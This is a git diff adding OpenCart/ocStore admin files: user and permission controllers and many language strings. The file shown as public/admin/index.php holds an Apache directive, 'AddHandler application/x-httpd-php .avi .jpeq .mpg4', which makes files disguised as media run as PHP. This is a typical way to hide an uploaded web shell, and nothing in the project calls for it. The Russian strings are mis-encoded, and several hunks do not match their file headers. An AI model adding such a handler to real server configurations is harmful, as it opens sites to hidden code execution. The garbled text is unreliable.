+ if ((utf8_strlen(trim($this->request->post['lastname'])) < 1) || (utf8_strlen(trim($this->request->post['lastname'])) > 32)) {
+ $this->error['lastname'] = $this->language->get('error_lastname');
+ }
+
+ if ((utf8_strlen($this->request->post['email']) > 96) || !filter_var($this->request->post['email'], FILTER_VALIDATE_EMAIL)) {
+ $this->error['email'] = $this->language->get('error_email');
+ }
+
+ $user_info = $this->model_user_user->getUserByEmail($this->request->post['email']);
+
+ if (!isset($this->request->get['user_id'])) {
+ if ($user_info) {
+ $this->error['warning'] = $this->language->get('error_exists_email');
+ }
+ } else {
+ if ($user_info && ($this->request->get['user_id'] != $user_info['user_id'])) {
+ $this->error['warning'] = $this->language->get('error_exists_email');
+ }
+ }
+
+ if ($this->request->post['password'] || (!isset($this->request->get['user_id']))) {
+ if ((utf8_strlen(html_entity_decode($this->request->post['password'], ENT_QUOTES, 'UTF-8')) < 4) || (utf8_strlen(html_entity_decode($this->request->post['password'], ENT_QUOTES, 'UTF-8')) > 40)) {
+ $this->error['password'] = $this->language->get('error_password');
+ }
+
+ if ($this->request->post['password'] != $this->request->post['confirm']) {
+ $this->error['confirm'] = $this->language->get('error_confirm');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'user/user')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['selected'] as $user_id) {
+ if ($this->user->getId() == $user_id) {
+ $this->error['warning'] = $this->language->get('error_account');
+ }
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/user/user_permission.php b/public/admin/controller/user/user_permission.php
new file mode 100644
index 0000000..7384755
--- /dev/null
+++ b/public/admin/controller/user/user_permission.php
@@ -0,0 +1,429 @@
+load->language('user/user_group');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/user_group');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('user/user_group');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/user_group');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_user_user_group->addUserGroup($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('user/user_permission', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('user/user_group');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/user_group');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_user_user_group->editUserGroup($this->request->get['user_group_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('user/user_permission', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('user/user_group');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/user_group');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $user_group_id) {
+ $this->model_user_user_group->deleteUserGroup($user_group_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('user/user_permission', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('user/user_permission', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('user/user_permission/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('user/user_permission/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['user_groups'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $user_group_total = $this->model_user_user_group->getTotalUserGroups();
+
+ $results = $this->model_user_user_group->getUserGroups($filter_data);
+
+ foreach ($results as $result) {
+ $data['user_groups'][] = array(
+ 'user_group_id' => $result['user_group_id'],
+ 'name' => $result['name'],
+ 'edit' => $this->url->link('user/user_permission/edit', 'user_token=' . $this->session->data['user_token'] . '&user_group_id=' . $result['user_group_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('user/user_permission', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $user_group_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('user/user_permission', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($user_group_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($user_group_total - $this->config->get('config_limit_admin'))) ? $user_group_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $user_group_total, ceil($user_group_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('user/user_group_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['user_group_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('user/user_permission', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['user_group_id'])) {
+ $data['action'] = $this->url->link('user/user_permission/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('user/user_permission/edit', 'user_token=' . $this->session->data['user_token'] . '&user_group_id=' . $this->request->get['user_group_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('user/user_permission', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['user_group_id']) && $this->request->server['REQUEST_METHOD'] != 'POST') {
+ $user_group_info = $this->model_user_user_group->getUserGroup($this->request->get['user_group_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($user_group_info)) {
+ $data['name'] = $user_group_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ $ignore = array(
+ 'common/dashboard',
+ 'common/startup',
+ 'common/login',
+ 'common/logout',
+ 'common/forgotten',
+ 'common/reset',
+ 'common/footer',
+ 'common/header',
+ 'error/not_found',
+ 'error/permission'
+ );
+
+ $data['hiden'] = array();
+ $data['permissions'] = array();
+
+ $files = array();
+
+ // Make path into an array
+ $path = array(DIR_APPLICATION . 'controller/*');
+
+ // While the path array is still populated keep looping through
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ foreach (glob($next) as $file) {
+ // If directory add to path array
+ if (is_dir($file)) {
+ $path[] = $file . '/*';
+ }
+
+ // Add the file to the files to be deleted array
+ if (is_file($file)) {
+ $files[] = $file;
+ }
+ }
+ }
+
+ // Sort the file array
+ sort($files);
+
+ foreach ($files as $file) {
+ $controller = substr($file, strlen(DIR_APPLICATION . 'controller/'));
+
+ $permission = substr($controller, 0, strrpos($controller, '.'));
+
+ $hidefiles = explode("/", $permission);
+
+ if ($hidefiles[1] == "module" or $hidefiles[1] == "payment" or $hidefiles[1] == "shipping") {
+ if (!in_array($permission, $ignore)) {
+ $data['hiden'][] = $permission;
+ }
+ }
+ if (!in_array($permission, $ignore)) {
+ $data['permissions'][] = $permission;
+ }
+ }
+
+ if (isset($this->request->post['permission']['hiden'])) {
+ $data['ishide'] = $this->request->post['permission']['hiden'];
+ } elseif (isset($user_group_info['permission']['hiden'])) {
+ $data['ishide'] = $user_group_info['permission']['hiden'];
+ } else {
+ $data['ishide'] = array();
+ }
+
+
+ if (isset($this->request->post['permission']['access'])) {
+ $data['access'] = $this->request->post['permission']['access'];
+ } elseif (isset($user_group_info['permission']['access'])) {
+ $data['access'] = $user_group_info['permission']['access'];
+ } else {
+ $data['access'] = array();
+ }
+
+ if (isset($this->request->post['permission']['modify'])) {
+ $data['modify'] = $this->request->post['permission']['modify'];
+ } elseif (isset($user_group_info['permission']['modify'])) {
+ $data['modify'] = $user_group_info['permission']['modify'];
+ } else {
+ $data['modify'] = array();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('user/user_group_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'user/user_permission')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'user/user_permission')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('user/user');
+
+ foreach ($this->request->post['selected'] as $user_group_id) {
+ $user_total = $this->model_user_user->getTotalUsersByGroupId($user_group_id);
+
+ if ($user_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_user'), $user_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/index.php b/public/admin/index.php
new file mode 100644
index 0000000..cf53653
--- /dev/null
+++ b/public/admin/index.php
@@ -0,0 +1,22 @@
+
+ Order allow,deny
+ Deny from all
+
+AddHandler application/x-httpd-php .avi .jpeq .mpg4
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/blog/article.php b/public/admin/language/ru-ru/blog/article.php
new file mode 100644
index 0000000..b01e073
--- /dev/null
+++ b/public/admin/language/ru-ru/blog/article.php
@@ -0,0 +1,58 @@
+ ÐŸÐ¾Ð²Ñ‚Ð¾Ñ€ÐµÐ½Ð¸Ñ Ð²Ñ‹ÑÑ‚Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ñчета раÑчитываютÑÑ Ð¿ÑƒÑ‚ÐµÐ¼ ÑƒÐ¼Ð½Ð¾Ð¶ÐµÐ½Ð¸Ñ Ñ‡Ð°Ñтоты на цикл.
Ðапример, еÑли вы иÑпользуете чаÑтоту "неделÑ" и цикл "2", то пользователю будет выÑтавлен Ñчет каждые 2 недели.
ПродолжительноÑть - количеÑтво оплат, которые пользователь должен Ñделать. УÑтановите в 0, еÑли Ð’Ñ‹ захотите отменить платежи.
';
+$_['text_profile'] = 'РегулÑрный платеж';
+$_['text_trial'] = 'Триал профиль';
+
+// Entry
+$_['entry_name'] = 'Ðазвание';
+$_['entry_price'] = 'Цена';
+$_['entry_duration'] = 'ПродолжительноÑть';
+$_['entry_cycle'] = 'Цикл';
+$_['entry_frequency'] = 'ЧаÑтота';
+$_['entry_trial_price'] = 'Цена';
+$_['entry_trial_duration'] = 'ПродолжительноÑть';
+$_['entry_trial_status'] = 'СтатуÑ';
+$_['entry_trial_cycle'] = 'Цикл';
+$_['entry_trial_frequency'] = 'ЧаÑтота';
+$_['entry_status'] = 'СтатуÑ';
+$_['entry_sort_order'] = 'ПорÑдок Ñортировки';
+
+// Column
+$_['column_name'] = 'Ðазвание';
+$_['column_sort_order'] = 'ПорÑдок Ñортировки';
+$_['column_action'] = 'ДейÑтвие';
+
+// Error
+$_['error_warning'] = 'Внимательно проверьте форму на ошибки!';
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
+$_['error_name'] = 'Ðазвание должно Ñодержать от 3 до 255 Ñимволов!';
+$_['error_product'] = 'Профиль Ð½ÐµÐ»ÑŒÐ·Ñ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ, так как он иÑпользуетÑÑ Ð² %s товарах!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/catalog/review.php b/public/admin/language/ru-ru/catalog/review.php
new file mode 100644
index 0000000..096f80e
--- /dev/null
+++ b/public/admin/language/ru-ru/catalog/review.php
@@ -0,0 +1,39 @@
+ocStore © 2009-' . date('Y') . ' Ð’Ñе права защищены.';
+$_['text_version'] = 'ВерÑÐ¸Ñ ocStore %s
МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð¿Ñ€Ð¾Ð¸Ð·Ð²Ð¾Ð´Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ñть TurboHost.pro';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/common/forgotten.php b/public/admin/language/ru-ru/common/forgotten.php
new file mode 100644
index 0000000..e225761
--- /dev/null
+++ b/public/admin/language/ru-ru/common/forgotten.php
@@ -0,0 +1,22 @@
+
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/design/custommenu.php b/public/admin/language/ru-ru/design/custommenu.php
new file mode 100644
index 0000000..07faf39
--- /dev/null
+++ b/public/admin/language/ru-ru/design/custommenu.php
@@ -0,0 +1,56 @@
+
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/design/theme.php b/public/admin/language/ru-ru/design/theme.php
new file mode 100644
index 0000000..92fdcbc
--- /dev/null
+++ b/public/admin/language/ru-ru/design/theme.php
@@ -0,0 +1,26 @@
+СинтакÑÐ¸Ñ Twig тут.';
+
+// Column
+$_['column_store'] = 'Магазин';
+$_['column_route'] = 'Путь';
+$_['column_theme'] = 'Шаблон';
+$_['column_date_added'] = 'Дата добавлениÑ';
+$_['column_action'] = 'ДейÑтвие';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
+$_['error_twig'] = 'Ð’Ñ‹ можете ÑохранÑть только файлы .twig!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/design/translation.php b/public/admin/language/ru-ru/design/translation.php
new file mode 100644
index 0000000..f280a71
--- /dev/null
+++ b/public/admin/language/ru-ru/design/translation.php
@@ -0,0 +1,35 @@
+ Localisation > Languages / Currencies';
+$_['help_gender'] = 'Specify the gender your product is designed for using the gender attribute. When you provide this information, potential customers can accurately filter products by gender to help narrow their search. Keep in mind that Google also uses the gender information together with the values you provide for Size and Age Group to standardize the sizes that are shown to users.';
+$_['help_google_product_category'] = 'Use the this attribute to indicate the category of your item based on the Google product taxonomy. Categorizing your product helps ensure that your ad is shown with the right search results.';
+$_['help_is_bundle'] = 'Use the Bundle attribute to indicate that you've created a bundle: a main product that you've grouped with other, different products, sold together as one package for a single price. This attribute lets Google show your ad in the right situations by distinguishing your item from manufacturer-created bundles, multipacks, and other products without accessories.';
+$_['help_local_cron'] = 'This method is recommended. Insert this command in your web server CRON tab. Set it up to run every hour.';
+$_['help_multipack'] = 'Use the Multipack attribute to indicate that you've grouped multiple identical products for sale as one item. This attribute lets Google show your ad in the right situations by distinguishing your item from manufacturer-created multipacks, bundles, and other products.';
+$_['help_remote_cron'] = 'Use this method in case Method #1 cannot be used. Use this URL to set up a CRON task via a web-based CRON service. Set it up to run every hour.';
+$_['help_roas'] = 'Target ROAS lets you bid based on a target return on ad spend (ROAS). This Google Ads Smart Bidding strategy helps you get more conversion value or revenue at the target return-on-ad-spend (ROAS) you set. Your bids are automatically optimized at auction-time, allowing you to tailor bids for each auction.';
+$_['help_size'] = 'Use the size attribute to describe the standardized size of your product. When you use this attribute, your ad can appear in results that are filtered by size. The size you submit will also affect how your product variants are shown.';
+$_['help_size_system'] = 'With this attribute you can explain which country's sizing system your product uses. This information helps create accurate filters, which users can use to narrow search results. The sizing system that you submit will affect search, filtering, and how variants are shown in your ad.';
+$_['help_size_type'] = 'Use this attribute to describe the cut of your product. This information helps create accurate filters, which users can use to narrow search results.';
+
+// Entry
+$_['entry_action'] = 'Action';
+$_['entry_adult'] = 'Adult-Only Content';
+$_['entry_age_group'] = 'Age Group';
+$_['entry_auto_advertise'] = 'Automatically advertise new listings?';
+$_['entry_budget'] = 'Daily Campaign Budget';
+$_['entry_campaign'] = 'Smart Shopping Ad Campaigns';
+$_['entry_campaign_name'] = 'Campaign Name';
+$_['entry_color'] = 'Color Option';
+$_['entry_condition'] = 'Condition';
+$_['entry_country'] = 'Target Country';
+$_['entry_feed'] = 'Product Feeds';
+$_['entry_gender'] = 'Gender';
+$_['entry_google_product_category'] = 'Google Product Category';
+$_['entry_is_bundle'] = 'Bundle';
+$_['entry_max_transit_time'] = 'Maximum Transit Time (days)';
+$_['entry_min_transit_time'] = 'Minimum Transit Time (days)';
+$_['entry_multipack'] = 'Multipack (number of items in a single package)';
+$_['entry_oc_category'] = 'OpenCart Category (autocomplete)';
+$_['entry_roas'] = 'ROAS';
+$_['entry_setup_confirmation'] = 'Setup Confirmation';
+$_['entry_size'] = 'Size Option';
+$_['entry_size_system'] = 'Size System';
+$_['entry_size_type'] = 'Size Type';
+$_['entry_status'] = 'Status';
+
+// Texts
+$_['text_access_token'] = 'Access token';
+$_['text_acknowledge_add_campaign_1'] = 'I acknowledge that my campaigns will not become active until my product feeds get approved according to the Google Merchant Center requirements.';
+$_['text_acknowledge_add_campaign_2'] = 'I acknowledge that my campaigns will not become active until I set up Shipping and Tax (only in the US) details for my Merchant Center account.';
+$_['text_acknowledge_cron'] = 'I confirm that I have set up an automated CRON task using one of the methods above.';
+$_['text_acknowledge_merchant_tos'] = 'By purchasing Google Shopping ads, I agree to comply with Google's terms and policies, including Google's Merchant Center terms of service, Shopping ads policies, and Google Ads Terms and Conditions.';
+$_['text_action'] = 'Action';
+$_['text_active'] = 'Active';
+$_['text_active_states'] = 'Select active states';
+$_['text_add_target'] = 'New Campaign';
+$_['text_ads_intro'] = 'Important
To have your products accepted by Google Merchant Center, please make sure to follow these requirements:
';
+$_['text_advertise'] = 'Advertise';
+$_['text_age_group_adult'] = 'Adult (teens or older)';
+$_['text_age_group_infant'] = 'Infant (3-12 months old)';
+$_['text_age_group_kids'] = 'Kids (6-13 years old)';
+$_['text_age_group_newborn'] = 'Newborn (0-2 months old)';
+$_['text_age_group_toddler'] = 'Toddler (1-5 years old)';
+$_['text_all'] = 'All';
+$_['text_app_id'] = 'App ID';
+$_['text_app_secret'] = 'App Secret';
+$_['text_approved'] = 'Approved';
+$_['text_campaign_more_info'] = 'Campaign Duration
Campaigns will run until paused. You can pause a campaign at any time.
Campaign Optimization
It usually takes around 30 days for Google to rank products and optimize shopping ad campaigns.
Products in Campaign
Google will create a unique shopping ad for each approved product synced to your Merchant Center account. Ads are optimized based to maximize your sales. Popular products will likely receive more of your budget.
Campaign Duration
Campaigns will run until paused. You can pause a campaign at any time.
Shopping Ad Placement
Your ads may appear on multiple platforms including Google Search, Google Display Network, Youtube, and Gmail.
';
+$_['text_campaigns'] = 'Campaigns';
+$_['text_carrier_postcode'] = 'Origin Postal Code';
+$_['text_carrier_price_percentage'] = 'Price Percentage';
+$_['text_checklist_acknowledge_0'] = 'ВидимоÑть каталога товаров
Я подтверждаю, что мой каталог товаров общедоÑтупен без необходимоÑти ввода паролÑ.
';
+$_['text_checklist_acknowledge_1'] = 'БезопаÑный процеÑÑ Ð¾Ñ„Ð¾Ñ€Ð¼Ð»ÐµÐ½Ð¸Ñ Ð·Ð°ÐºÐ°Ð·Ð°
Обработка платежей и транзакций, а также Ñбор любой конфиденциальной и финанÑовой информации от Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð¾ÑущеÑтвлÑетÑÑ Ñ‡ÐµÑ€ÐµÐ· безопаÑный Ñервер обработки (защищенный SSL, Ñ Ð´ÐµÐ¹Ñтвующим Ñертификатом SSL - https: //).
';
+$_['text_checklist_acknowledge_2'] = 'Политика возврата
Я подтверждаю, что мой веб-Ñайт предоÑтавлÑет пользователÑм четкую и понÑтную политику возврата.
';
+$_['text_checklist_acknowledge_3'] = 'УÑÐ»Ð¾Ð²Ð¸Ñ Ð²Ñ‹ÑÑ‚Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ñчетов и оплаты
Я подтверждаю, что мой веб-Ñайт предоÑтавлÑет четкие и понÑтные уÑÐ»Ð¾Ð²Ð¸Ñ Ð²Ñ‹ÑÑ‚Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ñчетов и оплаты.
';
+$_['text_checklist_acknowledge_4'] = 'ДоÑÑ‚Ð¾Ð²ÐµÑ€Ð½Ð°Ñ ÐºÐ¾Ð½Ñ‚Ð°ÐºÑ‚Ð½Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ
Я подтверждаю, что мой веб-Ñайт отображает доÑтаточную и точную контактную информацию Ñ ÐºÐ°Ðº минимум Ð´Ð²ÑƒÐ¼Ñ Ð¸Ð· Ñледующего: номер телефона, физичеÑкий адреÑ, Ð°Ð´Ñ€ÐµÑ Ñлектронной почты.
';
+$_['text_checklist_intro'] = 'Важно
Прежде чем вы Ñможете размещать рекламу в Google, ваш интернет-магазин должен ÑоответÑтвовать требованиÑм Google Merchant Center. Полный ÑпиÑок вÑех требований и рекомендаций можно найти здеÑÑŒ.';
+$_['text_clicks'] = 'Clicks';
+$_['text_color'] = 'Color';
+$_['text_condition_new'] = 'New';
+$_['text_condition_refurbished'] = 'Refurbished';
+$_['text_condition_used'] = 'Used';
+$_['text_connect_intro'] = 'Your Google Shopping extension is not yet connected. Please go to the Google Shopping for OpenCart website to obtain an App ID and App Secret.';
+$_['text_connected'] = 'Connected with Merchant ID %s';
+$_['text_connecting'] = 'Connecting...';
+$_['text_connection'] = 'Connection';
+$_['text_conversion_value'] = 'Conversion Value';
+$_['text_conversions'] = 'Conversions';
+$_['text_cost'] = 'Cost';
+$_['text_critical'] = 'Critical';
+$_['text_cron_email'] = 'Send Summary to E-Mail';
+$_['text_cron_email_status'] = 'Send E-Mail Summary';
+$_['text_cron_info'] = 'Please make sure to set up a CRON task executing each hour using one of the methods below. Method #1 is recommended. CRON jobs help you with:
• Periodic syncing of your OpenCart catalog with Google Merchant Center
• Automatic fetching of product statuses and product reports';
+$_['text_cron_settings'] = 'CRON Settings';
+$_['text_data_quality_issues'] = 'Data Quality Issues';
+$_['text_debug_log'] = 'Debug Logging';
+$_['text_destination_status'] = 'Status';
+$_['text_disabled'] = 'Disabled';
+$_['text_disapproved'] = 'Disapproved';
+$_['text_disconnect_reminder'] = 'Even if you decide to disconnect this OpenCart extension, you will still have access to your Merchant Center account. It will not get deleted. Disconnecting will do the following:- Disable this extension
- Remove all active campaigns
- Delete all datafeeds in the linked Google Merchant Center account
- Remove any links between your existing Google Merchant Center account and OpenCart.
';
+$_['text_disconnecting_please_wait'] = 'Disconnecting...';
+$_['text_does_not_apply'] = '-- Does not apply --';
+$_['text_download_debug_log'] = 'Download Debug Log';
+$_['text_edit_target'] = 'Edit Campaign: %s';
+$_['text_enabled'] = 'Enabled';
+$_['text_error'] = 'Error';
+$_['text_existing_merchant'] = 'Use my own Google Merchant Center account (In case you want to use your active Google Merchant Center account.)';
+$_['text_extension_settings'] = 'Extension Settings';
+$_['text_extensions'] = 'РаÑширениÑ';
+$_['text_filter'] = 'Filter';
+$_['text_gender_female'] = 'Female';
+$_['text_gender_male'] = 'Male';
+$_['text_gender_unisex'] = 'Unisex';
+$_['text_google_expiration_date'] = 'Google Expiration Date';
+$_['text_heading_merchant_center_account'] = 'Merchant Center Account';
+$_['text_home'] = 'ГлавнаÑ';
+$_['text_image'] = 'Image';
+$_['text_impressions'] = 'Impressions';
+$_['text_info_popup_product'] = 'The information requested here is required to properly list your product on Google Shopping. Click here for more information.';
+$_['text_issues'] = 'Issues';
+$_['text_item_level_issues'] = 'Item Issues';
+$_['text_label_active'] = 'ACTIVE';
+$_['text_label_approved'] = 'APPROVED';
+$_['text_label_critical'] = 'CRITICAL';
+$_['text_label_disapproved'] = 'DISAPPROVED';
+$_['text_label_error'] = 'ERROR';
+$_['text_label_paused'] = 'PAUSED';
+$_['text_label_pending'] = 'PENDING';
+$_['text_label_suggestion'] = 'SUGGESTION';
+$_['text_label_unassigned'] = 'UNASSIGNED';
+$_['text_label_unavailable'] = 'UNAVAILABLE';
+$_['text_learn_more'] = 'Learn more';
+$_['text_loading_please_wait'] = 'Please wait. This may take a few minutes...';
+$_['text_local_cron'] = 'Method #1 - CRON Task:';
+$_['text_mapping_intro'] = 'Select your OpenCart categories which best match the pre-defined Google categories. This helps Google understand what you\'re selling so that they can better connect your ads with search queries from potential customers. If none of your categories match the list below, just click "Proceed" to skip this step.';
+$_['text_mapping_verify_intro'] = 'Some of your products are already mapped to Google categories. Should the new mapping edit all current products, or should it apply only for your future products?';
+$_['text_mapping_verify_title'] = 'Confirm New Mapping';
+$_['text_maximum_five'] = 'Maximum 5 campaigns can be selected. Leaving a campaign unticked will unassign the products from this campaign.';
+$_['text_merchant_intro'] = 'Please select the account you wish to use:';
+$_['text_merchant_website_claim'] = 'Upon clicking Proceed, you will be asked to authorize OpenCart to manage your listing and account in Google Shopping. Your website URL will be claimed by the selected Merchant Center account.
';
+$_['text_na'] = '–';
+$_['text_new_merchant'] = 'Use an account managed by OpenCart (For beginners who do not have a Google Merchant Center account.)';
+$_['text_no'] = 'No';
+$_['text_no_results'] = 'No results found!';
+$_['text_no_targets'] = 'No campaigns found! Click the button below to add your first campaign.';
+$_['text_panel_connect'] = 'Step 1 of 5: Connect the Google Shopping Extension';
+$_['text_panel_heading'] = 'Редактировать Google Shopping | Магазин: %s';
